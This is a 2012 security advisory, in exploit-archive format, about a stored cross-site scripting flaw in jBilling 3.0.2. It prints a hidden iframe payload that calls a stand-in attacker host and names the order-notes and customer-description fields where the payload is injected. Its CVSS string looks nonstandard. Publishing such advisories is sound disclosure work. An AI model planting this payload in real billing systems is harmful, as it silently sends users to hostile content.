jBilling 3.0.2 - Cross-Site Scripting

# Exploit Title: jBilling 3.0.2 Cross Site Scripting Vulnerability
# Date: 11/23/2012
# Exploit Author: Woody Hughes <[email protected]>
# Vendor Homepage: http://www.jbilling.com
# Software Link: http://sourceforge.net/projects/jbilling/files/latest/download
# Version: 3.0.2
# Tested on: Ubuntu Linux

INGRESS SECURITY SECURITY ADVISORY
INGRES-11232012-jBilling 3.0.2 Cross Site Scripting Vulnerability
November 23, 2012

OVERVIEW
Ingress Security has found a cross site scripting vulnerability in the form of a cross site request forgery in the jBilling billing software.

jBilling's mission is to provide a robust, secure, open source alternative for enterprise billing. With our world-class service team, we help companies all over the world deploy and maintain billing solutions to meet their business needs.

AFFECTED PRODUCTS
jBilling 3.0.2

PLATFORM: Linux

LOCAL/REMOTE: Remote

CVSS SCORE: 3.7 (AV:R/AC:L/Au:R/C:C/I:P/A:N/B:/E:P/RL:U/RC:U)

DESCRIPTION OF VULNERABILITIES	

Cross Site Request Forgery (CSRF)
jBilling does not properly check user input, thus allowing the <iframe> tag to be used in a malicious manner. For example, an individual with Add User rights could add multiple users and when those users log in, the following <iframe> tag would send them to a malicious website hosting malicious content:

<iframe src=”http://attacker_host:4321/attack.html” height=”1” width=”1” style=”visibility: hidden;” />

The URLs that are affected are:

http://[host]/jbilling/orderBuilder/edit?execution=e1s1&userId=[uid]

	Create a new order and in the notes section, input your malicious code.

http://[host]/jbilling/customer/edit

	 Add a new customer by going to the URL above and enter their details. In the description box, input your malicious code.

DISCLAIMER
The information provided in this advisory is provided as it is without any warranty. Ingress Security disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Ingress Security or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Ingress Security or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply.

Any modified copy or reproduction, including partially usages, of this file requires authorization from Ingress Security. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Ingress Security or its suppliers. All pictures, texts, advisories, source code, videos and other information is a trademark of Ingress Security, the specific authors, or managers. To record, list (feed), modify, use, or edit our material, contact [email protected] to get permission.